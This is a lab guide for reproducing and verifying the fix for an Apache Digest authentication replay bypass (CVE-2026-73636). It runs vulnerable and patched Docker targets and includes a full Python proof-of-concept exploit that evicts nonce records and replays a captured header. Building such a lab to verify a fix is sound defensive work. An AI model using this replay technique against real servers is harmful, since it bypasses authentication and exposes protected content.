CVE-2026-73636 Lab Test Guide

Controlled Apache Digest capture replay verification and remediation

Purpose. This guide gives a copy-and-paste Linux sequence for setting up Docker in a Kali virtual machine, creating a self-contained Apache Digest lab, reproducing the capture-replay condition on Apache 2.4.68, and checking the fixed behaviour on Apache 2.4.69.

Current result The vulnerable Apache 2.4.68 lab target should reject an immediate replay with HTTP 401, then accept the same captured Digest Authorization header with HTTP 200 after client-entry eviction. The Apache 2.4.69 comparison target must reject both replays with HTTP 401.

Controlled lab scope Every file used by this guide is created by the Linux commands below. Both targets bind only to 127.0.0.1 in the Kali VM. The proof of concept uses only the disposable lab account it creates; it does not sniff traffic, scan hosts, persist, or modify a protected resource.

Before you start

- Use the same Kali VM for all steps. Terminal A creates and observes the Docker targets; Terminal B performs the checks and runs the proof of concept.
- Take a VM snapshot if available. The first Docker build needs internet access for packages and Apache images. The proof of concept itself needs no pip package or external source file.
- Keep the target ports exactly as 127.0.0.1:8068 and 127.0.0.1:8069. Do not use an all-interface, bridged, or public mapping.
- The account alice with password password123 exists only in this disposable lab image. Do not use personal or production credentials.

Part 0 Kali VM Docker target setup

Use Terminal A in the Kali VM for the targets. The Docker installation commands below are the same Linux commands used in the attached guide. The rest of this part creates every lab file locally, so no repository or downloaded project folder is required.

Step 0 Install Docker and create the local lab

What this does. Installs the packages used by the supplied setup guide, enables Docker, confirms the daemon can run a container, and creates an isolated working directory.

```
sudo apt update
sudo apt install -y docker.io curl apache2-utils python3
sudo systemctl enable --now docker
sudo docker run --rm hello-world

mkdir -p ~/labs/cve-2026-73636
cd ~/labs/cve-2026-73636
```

Expected output. Docker completes the hello-world message. The final cd command returns silently and the prompt is inside ~/labs/cve-2026-73636. Use sudo consistently for Docker commands in this guide.

Step 1 Create the vulnerable and fixed Apache Dockerfiles

What this does. Creates the Apache 2.4.68 target with Digest authentication and one-time nonces. It then creates the fixed Dockerfile by changing only the base image to Apache 2.4.69, so the two targets use identical authentication settings.

```
cat > Dockerfile.vuln <<'EOF'
FROM httpd:2.4.68
```

```
RUN sed -i 's|^#LoadModule auth_digest_module|LoadModule auth_digest_module|' conf/httpd.conf

RUN printf 'alice:secret:%s\n' \
      "$(printf '%s' 'alice:secret:password123' | md5sum | cut -d' ' -f1)" \
      > /usr/local/apache2/.htdigest \
  && chown www-data:www-data /usr/local/apache2/.htdigest \
  && chmod 640 /usr/local/apache2/.htdigest

RUN mkdir -p htdocs/secret \
  && printf 'FLAG{digest-replay-demo} protected content, authorised users only.\n' \
     > htdocs/secret/index.html \
  && chown -R www-data:www-data htdocs/secret

RUN printf '\nServerName localhost\nAuthDigestShmemSize 1024\n<Directory
"/usr/local/apache2/htdocs/secret">\n    AuthType Digest\n    AuthName "secret"\n
AuthDigestProvider file\n    AuthUserFile /usr/local/apache2/.htdigest\n
AuthDigestNonceLifetime 0\n    Require valid-user\n</Directory>\n' >> conf/httpd.conf
EOF

sed 's/FROM httpd:2.4.68/FROM httpd:2.4.69/' Dockerfile.vuln > Dockerfile.fixed

grep '^FROM' Dockerfile.vuln Dockerfile.fixed
grep -nE 'AuthDigestNonceLifetime|AuthDigestShmemSize' Dockerfile.vuln
```

Expected output. The grep output reports httpd:2.4.68 for Dockerfile.vuln, httpd:2.4.69 for Dockerfile.fixed, AuthDigestShmemSize 1024, and AuthDigestNonceLifetime 0. The small shared-memory allocation is a lab aid that makes eviction happen quickly; it is not the root cause or a permanent fix.

Step 2 Create the local proof of concept

What this does. Writes the complete standard-library proof of concept to exploit.py. It creates a valid lab header as a controlled stand-in for a captured header, performs the immediate and post-churn replays, and returns a clear verdict.

```
cat > exploit.py <<'PY'
#!/usr/bin/env python3
"""
CVE-2026-73636 - Apache mod_auth_digest one-time-nonce capture-replay bypass.

Demonstrates the vulnerability window on Apache httpd 2.4.68 and shows it is
closed on 2.4.69. Standard library only (no requests / no internet), so it runs
anywhere Python 3 is present and never reaches outside the lab.

Mechanism (empirically confirmed in RUNBOOK Step 2):
  With AuthDigestNonceLifetime 0 ("one-time nonce") each nonce is meant to be
  usable exactly once. The server's ONLY record that a given nonce was already
  spent lives in a per-client entry in a fixed-size shared-memory client list.
  Immediately replaying a spent header is correctly rejected (401 stale). But if
  that client entry is evicted from the shared-memory list (the list is small /
  churned / garbage-collected), the server loses the record and ACCEPTS the
  replayed Authorization header again (200) -- authentication bypass.

  2.4.69 (patch fc722c6) reworks nonce/nonce-count tracking so a replayed
  one-time nonce is rejected regardless of client-entry eviction.

Usage:
  python exploit.py                      # default target 127.0.0.1:8068
  python exploit.py --host 127.0.0.1 --port 8069   # patched target

Lab use only. Credentials below are the lab's own throwaway test user.
"""
import argparse
import hashlib
import http.client
```

```
import re
import sys

# --- lab test credentials (match digest-auth/Dockerfile) ------------------
USER = "alice"
PASSWD = "password123"
REALM = "secret"
PATH = "/secret/"


def md5(s: str) -> str:
    return hashlib.md5(s.encode()).hexdigest()


def get_challenge(host, port):
    """Unauthenticated GET -> parse the WWW-Authenticate: Digest challenge."""
    conn = http.client.HTTPConnection(host, port, timeout=5)
    conn.request("GET", PATH)
    r = conn.getresponse()
    r.read()
    wa = r.getheader("WWW-Authenticate", "")
    conn.close()
    if "Digest" not in wa:
        sys.exit(f"[!] No Digest challenge at http://{host}:{port}{PATH} "
                 f"(status {r.status}). Is the target up and protected?")
    fields = dict(re.findall(r'(\w+)="?([^",]+)"?', wa))
    return fields


def build_authorization(fields, nc, cnonce):
    """Compute a valid Digest Authorization header for the lab user."""
    nonce = fields["nonce"]
    opaque = fields.get("opaque", "")
    qop = fields.get("qop", "auth")
    ha1 = md5(f"{USER}:{REALM}:{PASSWD}")
    ha2 = md5(f"GET:{PATH}")
    response = md5(f"{ha1}:{nonce}:{nc}:{cnonce}:{qop}:{ha2}")
    hdr = (f'Digest username="{USER}", realm="{REALM}", nonce="{nonce}", '
           f'uri="{PATH}", algorithm=MD5, response="{response}", '
           f'qop={qop}, nc={nc}, cnonce="{cnonce}"')
    if opaque:
        hdr += f', opaque="{opaque}"'
    return hdr


def send(host, port, authorization):
    """Send a GET with the given Authorization header; return the status code.

    Returns 0 on a connection/transport error so the caller can treat it as
    INCONCLUSIVE rather than mistaking it for a security result.
    """
    try:
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("GET", PATH, headers={"Authorization": authorization})
        r = conn.getresponse()
        r.read()
        conn.close()
        return r.status
    except (OSError, http.client.HTTPException):
        return 0


def describe(code):
    """Human-readable label for a replay response code."""
```

```
    if code == 0:
        return "connection error - INCONCLUSIVE"
    if 200 <= code < 300:
        return f"{code} accepted - BYPASS"
    if code == 401:
        return f"{code} rejected (stale) - blocked"
    if code >= 500:
        return f"{code} server error - INCONCLUSIVE"
    return f"{code} unexpected - INCONCLUSIVE"


def full_handshake(host, port, cnonce):
    """One complete authenticated request; returns (status, header_sent)."""
    fields = get_challenge(host, port)
    hdr = build_authorization(fields, "00000001", cnonce)
    status = send(host, port, hdr)
    return status, hdr


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-73636 capture-replay PoC")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=8068)
    ap.add_argument("--churn", type=int, default=60,
                    help="handshakes used to evict the captured client entry "
                         "from the shared-memory list (default 60)")
    args = ap.parse_args()
    H, P = args.host, args.port

    print(f"[*] Target: http://{H}:{P}{PATH}\n")

    # --- 1. Simulated capture of a valid Authorization header ------------
    # Not a wire sniff: the script COMPUTES Alice's valid header from her
    # credentials (build_authorization) as a stand-in for an on-wire capture.
    print("[1] Computing Alice's valid Authorization header (simulated capture)...")
    status, captured = full_handshake(H, P, cnonce="aaaa1111")
    if status != 200:
        sys.exit(f"[!] Expected 200 on valid auth, got {status}. "
                 f"Check credentials/config.")
    print(f"    -> authenticated OK (200)")
    print(f"    Captured Authorization header:")
    print(f"      {captured}\n")

    # --- 2. Immediate replay (should be blocked while entry survives) ----
    print("[2] Replaying the captured header immediately...")
    s_imm = send(H, P, captured)
    print(f"    -> {describe(s_imm)}\n")

    # --- 3. Evict the client entry, then replay --------------------------
    print(f"[3] Churning the shared-memory client list with {args.churn} "
          f"other handshakes to evict the captured nonce's entry...")
    for i in range(args.churn):
        full_handshake(H, P, cnonce=f"c{i:07d}")
    s_evict = send(H, P, captured)
    print(f"    -> replay after eviction: {describe(s_evict)}\n")

    # --- 4. Verdict ------------------------------------------------------
    # Precedence is deliberate:
    #   1. ANY accepted replay (immediate OR post-eviction) proves the bypass,
    #      and a confirmed success outranks a later transport hiccup.
    #   2. Otherwise, a 5xx or connection error is not a security result.
    #   3. Only a clean 401 on BOTH replays is a real "fixed" proof.
    #   4. Anything else (403, odd codes) is inconclusive, never "not vulnerable".
    def accepted(c):
```

```
        return 200 <= c < 300

    def errored(c):
        return c == 0 or c >= 500

    print("=" * 60)
    if accepted(s_imm) or accepted(s_evict):
        when = "immediately" if accepted(s_imm) else "after client-entry eviction"
        code = s_imm if accepted(s_imm) else s_evict
        print("RESULT: VULNERABLE (BYPASS) - a replayed one-time-nonce header was")
        print(f"        ACCEPTED {when} (HTTP {code}).")
        sys.exit(0)
    elif errored(s_imm) or errored(s_evict):
        print("RESULT: INCONCLUSIVE - a replay returned a server/connection error")
        print(f"        (immediate={s_imm or 'conn error'}, "
              f"post-eviction={s_evict or 'conn error'}); not a security result.")
        print("        Re-run against a healthy target.")
        sys.exit(3)
    elif s_imm == 401 and s_evict == 401:
        print("RESULT: NOT VULNERABLE - replay rejected in every condition")
        print("        (HTTP 401 immediate AND post-eviction). The fix is in effect.")
        sys.exit(2)
    else:
        print("RESULT: INCONCLUSIVE - unexpected status codes, no bypass proven")
        print(f"        (immediate={s_imm}, post-eviction={s_evict}).")
        sys.exit(3)


if __name__ == "__main__":
    main()
PY
chmod 700 exploit.py
python3 exploit.py --help
```

Expected output. Python displays the command help with --host, --port, and --churn. No Python package is installed. The source defaults to 127.0.0.1:8068 and uses only the lab account.

Step 3 Build and start both comparison targets

What this does. Builds Apache 2.4.68 and Apache 2.4.69 locally, then starts both containers with loopback-only publishing. The containers use --rm and are removed when stopped.

```
sudo docker build -t digest-vuln:2.4.68 -f Dockerfile.vuln .
sudo docker build -t digest-fixed:2.4.69 -f Dockerfile.fixed .

sudo docker run -d --rm --name digest-vuln \
  -p 127.0.0.1:8068:80 digest-vuln:2.4.68
sudo docker run -d --rm --name digest-fixed \
  -p 127.0.0.1:8069:80 digest-fixed:2.4.69

sudo docker ps --filter name=digest --format 'table {{.Names}}\t{{.Status}}\t{{.Ports}}'
```

Expected output. Both images build successfully and the final table lists digest-vuln and digest-fixed as Up. Their ports begin 127.0.0.1:8068->80/tcp and 127.0.0.1:8069->80/tcp. Stop if either target is absent or stopped.

Step 4 Observe the targets in Terminal A

What this does. Shows Apache logs while Terminal B performs the local test. This is optional but useful for evidence collection.

```
sudo docker logs -f digest-vuln
# Open another Terminal A tab for the fixed target if desired:
sudo docker logs -f digest-fixed
```

Terminal B Target checks before testing

Open a second terminal in the same Kali VM. These checks establish that each port belongs to the intended Docker target before the controlled proof of concept is run.

Step 1 Check target status and ports

What this does. Lists the two lab containers, their state, and their loopback-only mappings.

```
sudo docker ps --filter name=digest --format 'table {{.Names}}\t{{.Status}}\t{{.Ports}}'
```

Expected output. Both names appear with status Up. The vulnerable target maps 127.0.0.1:8068->80/tcp and the fixed target maps 127.0.0.1:8069->80/tcp.

Step 2 Confirm Apache versions module and configuration

What this does. Reads the Apache version in both containers, confirms the Digest module is loaded, and prints the vulnerable configuration block.

```
for name in digest-vuln digest-fixed; do
  echo "--- $name ---"
  sudo docker exec "$name" httpd -v
done

sudo docker exec digest-vuln httpd -M 2>&1 | grep auth_digest
sudo docker exec digest-vuln sh -c "grep -B2 -A8 'htdocs/secret' conf/httpd.conf"
```

Expected output. digest-vuln reports Apache/2.4.68 and digest-fixed reports Apache/2.4.69. The vulnerable image lists auth_digest_module and contains AuthDigestShmemSize 1024 plus AuthDigestNonceLifetime 0.

Step 3 Confirm that Digest authentication is enforced

What this does. Requests the protected resource without credentials, then uses the throwaway lab account for a valid Digest login.

```
curl -i http://127.0.0.1:8068/secret/
curl -i --digest -u alice:password123 http://127.0.0.1:8068/secret/
```

Expected output. The first request returns HTTP/1.1 401 Unauthorized with a WWW-Authenticate Digest challenge. The second returns HTTP/1.1 200 OK, the FLAG{digest-replay-demo} body, and an Authentication-Info header with nextnonce.

Part 1 Controlled capture replay demonstration

Interpretation A one-time Digest nonce should not be reusable. The immediate replay proves the normal block is active while the client entry remains present. The later churn is used only to reproduce the vulnerable condition inside the local Apache 2.4.68 container.

Step 4 Demonstrate replay acceptance on Apache 2.4.68

What this does. Runs the local proof of concept against the vulnerable target. It authenticates as the lab account, replays the same header immediately, performs 60 local handshakes to churn the small shared-memory list, and replays the original header again.

```
cd ~/labs/cve-2026-73636
python3 exploit.py --host 127.0.0.1 --port 8068
echo "script exit code: $?"
```

Expected output. The nonce, opaque value, and response hash differ on each run. The decisive result is: authenticated OK (200); immediate replay 401 rejected (stale); replay after eviction 200 accepted - BYPASS; RESULT: VULNERABLE (BYPASS). The expected script exit code is 0.

Brief explanation. The post-eviction HTTP 200 is the controlled exploit result. The same header used earlier is accepted after its one-time-nonce record was lost with an evicted client entry. If the last request remains 401, repeat once with --churn 100 rather than changing the target or exposing its port.

```
python3 exploit.py --host 127.0.0.1 --port 8068 --churn 100
```

Step 5 Compare the fixed Apache 2.4.69 target

What this does. Runs the unchanged proof of concept against the fixed target. The intended difference between the two images is only the Apache base version.

```
python3 exploit.py --host 127.0.0.1 --port 8069
echo "script exit code: $?"
```

Expected output. The valid login still returns 200. Both the immediate replay and the replay after churn return 401 rejected (stale), followed by RESULT: NOT VULNERABLE. Exit code 2 is expected because the script reserves 2 for a clean fixed result.

Brief explanation. This is the remediation verification. Authentication works, but neither reuse of the original one-time-nonce header is accepted. Retain the output from both ports as before-and-after evidence.

Part 2 Remediation mitigation and troubleshooting

Apache HTTP Server 2.4.69 is the permanent remediation for CVE-2026-73636. The Apache advisory states that the issue affects 2.4.0 through 2.4.68 and recommends upgrading to 2.4.69. The local comparison above is a safe regression check for that upgrade.

Step 6 Verify the successful Apache 2.4.69 remediation

What this does. Checks the fixed image version and repeats the fixed-target result in a compact form suitable for a validation record.

```
sudo docker exec digest-fixed httpd -v
python3 exploit.py --host 127.0.0.1 --port 8069
echo "verification exit code: $?"
```

Expected output. The version is Apache/2.4.69. The script prints 401 for both replays and exits 2. In a real deployment, upgrade the Apache package or container image through the normal change process, restart the service, and repeat this check in staging before closing the finding.

Step 7 Apply temporary containment during a patch window

What this does. Stops and removes the vulnerable lab service when an upgrade cannot be completed immediately. This is containment, not remediation; it deliberately makes the vulnerable endpoint unavailable until a fixed image can be deployed.

```
sudo docker stop digest-vuln
sudo docker ps --filter name=digest-vuln
curl -i --connect-timeout 3 http://127.0.0.1:8068/secret/
```

Expected output. digest-vuln no longer appears in docker ps, and curl cannot connect to 127.0.0.1:8068. In a real service, restrict access, use TLS, invalidate potentially captured credentials, and schedule the 2.4.69 upgrade. Do not treat a larger AuthDigestShmemSize as a security fix.

Note. If you need to preserve the comparison lab, omit this containment step until after the fixed result has been captured. The cleanup step removes both local targets and images.

Troubleshooting

Docker permission denied

Use sudo consistently. Run sudo systemctl status docker --no-pager and ensure the service is active. The attached guide uses sudo Docker commands, so this document does too.

Build cannot pull the Apache image

Confirm the Kali VM has outbound internet access for the initial pull, then rerun sudo docker build. The proof of concept does not need internet after the images are present.

HTTP 401 on the valid Digest login

Confirm the vulnerable container is Apache 2.4.68, the target is /secret/, and the command uses --digest -u alice:password123. Rebuild Dockerfile.vuln if the configuration check does not show AuthDigestNonceLifetime 0.

Vulnerable target does not show a bypass

Confirm the final request is against port 8068 and that the container version is 2.4.68. Rerun only the proof of concept with --churn 100. Do not retry against a real or non-lab target.

Fixed target accepts a replay

Stop and inspect the fixed target. Confirm sudo docker exec digest-fixed httpd -v reports Apache/2.4.69 and rerun the proof of concept against port 8069. A 200 replay is not a fixed result.

Clean up the local lab

What this does. Stops the lab targets and removes only the two local images created by this guide. The working directory remains as evidence unless you remove it separately.

```
sudo docker rm -f digest-vuln digest-fixed 2>/dev/null || true
sudo docker image rm digest-vuln:2.4.68 digest-fixed:2.4.69
sudo docker ps -a --filter name=digest
sudo docker images | grep digest || true
```

Expected output. No digest-vuln or digest-fixed containers remain. It is acceptable if Docker reports that an image or container was already absent after the containment step.

What the evidence supports

- Identification: the vulnerable target reports Apache 2.4.68 with mod_auth_digest enabled and AuthDigestNonceLifetime 0; the comparison target reports Apache 2.4.69.
- Controlled exploit: the same locally created Digest header is blocked immediately but accepted after client-entry eviction on the 2.4.68 lab target.
- Remediation: the same script receives HTTP 401 for both replays on the 2.4.69 target, while a valid authentication request still receives HTTP 200.
- Limit: this document demonstrates the provided local lab only. It does not authorize testing external services or make claims about a system that was not tested.

Sources

Apache advisory. Apache HTTP Server 2.4 vulnerabilities: https://httpd.apache.org/security/vulnerabilities_24.html

CVE record. CVE record: https://www.cve.org/CVERecord?id=CVE-2026-73636

Kali documentation. Kali Linux Docker installation: https://www.kali.org/docs/containers/installing-docker-on-kali/

Apache module documentation. mod_auth_digest documentation: https://httpd.apache.org/docs/2.4/mod/mod_auth_digest.html